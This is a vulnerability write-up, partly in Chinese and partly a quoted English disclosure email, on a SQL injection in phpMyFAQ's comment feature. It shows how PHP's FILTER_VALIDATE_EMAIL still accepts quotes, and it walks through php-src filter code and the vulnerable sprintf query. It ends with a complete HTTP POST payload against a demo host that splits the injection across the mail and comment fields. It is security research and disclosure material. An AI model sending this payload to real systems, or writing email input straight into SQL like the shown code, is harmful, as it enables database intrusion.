PHPMyFAQ-SQL-Injection-With-FILTER_VALIDATE_EMAIL

去年遇到一套这个程序而挖的, 主要也就是因为开发者过于的相信 PHP 自带的FILTER_VALIDATE_EMAIL邮箱验证。

在使用了filter_var($email,FILTER_VALIDATE_EMAIL);

验证邮箱后, 没有进一步做处理 直接格式化字符串进了 sql 语句导致了注入。

FILTER_VALIDATE_EMAIL

本地调试版本: PHP5.4.5

首先来看看PHP的filter_var($email,FILTER_VALIDATE_EMAIL);是如何来验证邮箱是否合法的。

https://github.com/php-src/php/blob/2b86a89193c151b5e9b098cc9aa8411abd7f30ea/ext/filter/filter.c

PHP_FUNCTION(filter_var)
{
	zend_long filter = FILTER_DEFAULT;
	zval *filter_args = NULL, *data;

	if (zend_parse_parameters(ZEND_NUM_ARGS(), "z/|lz", &data, &filter, &filter_args) == FAILURE) {
		return;
	}

	if (!PHP_FILTER_ID_EXISTS(filter)) {
		RETURN_FALSE;
	}

	ZVAL_DUP(return_value, data);

	php_filter_call(return_value, filter, filter_args, 1, FILTER_REQUIRE_SCALAR);
}

php_filter_call里调用php_zval_filter,

static void php_filter_call(zval *filtered, zend_long filter, zval *filter_args,const int copy, zend_long filter_flags)/* {{{ */
{       ...
    php_zval_filter(filtered, filter, filter_flags, options,    charset, copy);
    ...
}

static void php_zval_filter(zval *value, zend_long filter, zend_long flags, zval *options,char* charset, zend_bool copy)/* {{{ */
{
	filter_list_entry  filter_func;

	filter_func = php_find_filter(filter);

	if (!filter_func.id) {
		/* Find default filter */
		filter_func = php_find_filter(FILTER_DEFAULT);
	}

	if (copy) {
		SEPARATE_ZVAL(value);
	}
   ......
	convert_to_string(value);

	filter_func.function(value, flags, options, charset);

根据id, 查找到filter_func, 然后调用指定的方法。

filter_var第二个参数为FILTER_VALIDATE_EMAIL时, 调用的是 php_filter_validate_email方法。

https://github.com/php-src/php/blob/PHP-5.4.5/ext/filter/logical_filters.c

void php_filter_validate_email(PHP_INPUT_FILTER_PARAM_DECL)
{
	const char regexp[] = "/^(?!(?:(?:\\x22?\\x5C[\\x00-\\x7E]\\x22?)|(?:\\x22?[^\\x5C\\x22]\\x22?)){255,})(?!(?:(?:\\x22?\\x5C[\\x00-\\x7E]\\x22?)|(?:\\x22?[^\\x5C\\x22]\\x22?)){65,}@)(?:(?:[\\x21\\x23-\\x27\\x2A\\x2B\\x2D\\x2F-\\x39\\x3D\\x3F\\x5E-\\x7E]+)|(?:\\x22(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21\\x23-\\x5B\\x5D-\\x7F]|(?:\\x5C[\\x00-\\x7F]))*\\x22))(?:\\.(?:(?:[\\x21\\x23-\\x27\\x2A\\x2B\\x2D\\x2F-\\x39\\x3D\\x3F\\x5E-\\x7E]+)|(?:\\x22(?:[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F\\x21\\x23-\\x5B\\x5D-\\x7F]|(?:\\x5C[\\x00-\\x7F]))*\\x22)))*@(?:(?:(?!.*[^.]{64,})(?:(?:(?:xn--)?[a-z0-9]+(?:-+[a-z0-9]+)*\\.){1,126}){1,}(?:(?:[a-z][a-z0-9]*)|(?:(?:xn--)[a-z0-9]+))(?:-+[a-z0-9]+)*)|(?:\\[(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){7})|(?:(?!(?:.*[a-f0-9][:\\]]){7,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,5})?)))|(?:(?:IPv6:(?:(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){5}:)|(?:(?!(?:.*[a-f0-9]:){5,})(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3})?::(?:[a-f0-9]{1,4}(?::[a-f0-9]{1,4}){0,3}:)?)))?(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))(?:\\.(?:(?:25[0-5])|(?:2[0-4][0-9])|(?:1[0-9]{2})|(?:[1-9]?[0-9]))){3}))\\]))$/iD";

	pcre       *re = NULL;
	pcre_extra *pcre_extra = NULL;
	int preg_options = 0;
	int         ovector[150]; /* Needs to be a multiple of 3 */
	int         matches;


	/* The maximum length of an e-mail address is 320 octets, per RFC 2821. */
	if (Z_STRLEN_P(value) > 320) {
		RETURN_VALIDATION_FAILED
	}

	re = pcre_get_compiled_regex((char *)regexp, &pcre_extra, &preg_options TSRMLS_CC);
	if (!re) {
		RETURN_VALIDATION_FAILED
	}
	matches = pcre_exec(re, NULL, Z_STRVAL_P(value), Z_STRLEN_P(value), 0, 0, ovector, 3);

	/* 0 means that the vector is too small to hold all the captured substring offsets */
	if (matches < 0) {
		RETURN_VALIDATION_FAILED
	}
}

去年提交这个漏洞的时候, 一直不知道怎么才能插入括号, 那时候用的双参数拼接的方法注入。

不过看这正则可以发现,

如果email的local part不以双引号开头和结尾, 允许的字符为

\x21\x23-\x27\x2A\x2B\x2D\x2F-\x39\x3D\x3F\x5E-\x7E

如果以双引号开头和结尾, 允许的字符为

\x01-\x08\x0B\x0C\x0E-\x1F\x21\x23-\x5B\x5D-\x7F

且如果前面的字符为\x5c, 后面紧跟的字符允许范围为 \x00-\x7F。

在local part以双引号开头和结尾这种情况中, 括号\x28 \x29在允许的字符范围内, 所以可以把括号写到双引号中。

虽然php_filter_validate_email允许邮箱最长为320个字符, 但是local part被正则限制到最多64个字符。

漏洞分析

(直接复制当初的邮件了~~~)

In the latest version of phpMyFAQ, there is a SQL Injection vulnerability in ajaxservice.php.

case 'savecomment':

if (!$faqConfig->get('records.allowCommentsForGuests') && !$user->perm->checkRight($user->getUserId(), 'addcomment')) { 
    $message = array('error' => $PMF_LANG['err_NotAuth']);
    break; 
}

$faq = new PMF_Faq($faqConfig); 
$oComment = new PMF_Comment($faqConfig); 
$category = new PMF_Category($faqConfig); 
$type = PMF_Filter::filterInput(INPUT_POST, 'type', FILTER_SANITIZE_STRING); 
$faqid = PMF_Filter::filterInput(INPUT_POST, 'id', FILTER_VALIDATE_INT, 0); 
$newsid = PMF_Filter::filterInput(INPUT_POST, 'newsid', FILTER_VALIDATE_INT); 
$username = PMF_Filter::filterInput(INPUT_POST, 'user', FILTER_SANITIZE_STRING); 
$mail = PMF_Filter::filterInput(INPUT_POST, 'mail', FILTER_VALIDATE_EMAIL); 
$comment = PMF_Filter::filterInput(INPUT_POST, 'comment_text', FILTER_SANITIZE_SPECIAL_CHARS);

The email variable uses FILTER_VALIDATE_EMAIL to validate, but FILTER_VALIDATE_EMAIL filter cannot completely prevent SQL Injection. With this filter, single quotes and some special characters can still be used, that’s enough for SQL Injection.

$commentData = [ 
    'record_id' => $id, 
    'type' => $type, 
    'username' => $username, 
    'usermail' => $mail, 
    'comment' => nl2br($comment), 
    'date' => $_SERVER['REQUEST_TIME'], 
    'helped' => '',
    ];

The mail variable is loaded into the commentData variable,

$oComment->addComment($commentData)

and the commentData variable is inserted into the database directly, thus leads to SQL Injection vulnerability.

public function addComment(Array $commentData)
{
    $query = sprintf("
    INSERT INTO 
        %sfaqcomments 
    VALUES 
        (%d, %d, '%s', '%s', '%s', '%s', %d,'%s')",
    PMF_Db::getTablePrefix(), $this->config->getDb()->nextId(PMF_Db::getTablePrefix().'faqcom ments','id_comment'), 
    $commentData['record_id'], 
    $commentData['type'], 
    $commentData['username'], 
    $commentData['usermail'], 
    $commentData['comment'], 
    $commentData['date'], 
    $commentData['helped']
);
if (!$this->config->getDb()->query($query)) { 
    return false; 
}

return true;
}

test the phpMyFAQ demo.

Secondly ,

POST /ajaxservice.php?action=savecomment HTTP/1.1 
Host: denholm.demo.phpmyfaq.de 
Proxy-Connection: keep-alive 
Content-Length: 135 
Accept: application/json, text/javascript, */*; q=0.01 Origin: http://denholm.demo.phpmyfaq.de 
X-Requested-With: XMLHttpRequest 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit /537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 
Content-Type: application/x-www-form-urlencoded;charset=UTF-8 
Referer: http://denholm.demo.phpmyfaq.de/index.php?action=artikel&cat=1&id=2&artlang=zh 
Accept-Encoding: gzip, deflate 
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,it;q=0.4

id=5⟨=zh&type=faq&user=xiaoyu111&mail=xiaoyu1~'/*11~%40qq.com&comment_text=*/,(select user()),1500351093,null)#&captcha=OMSNS9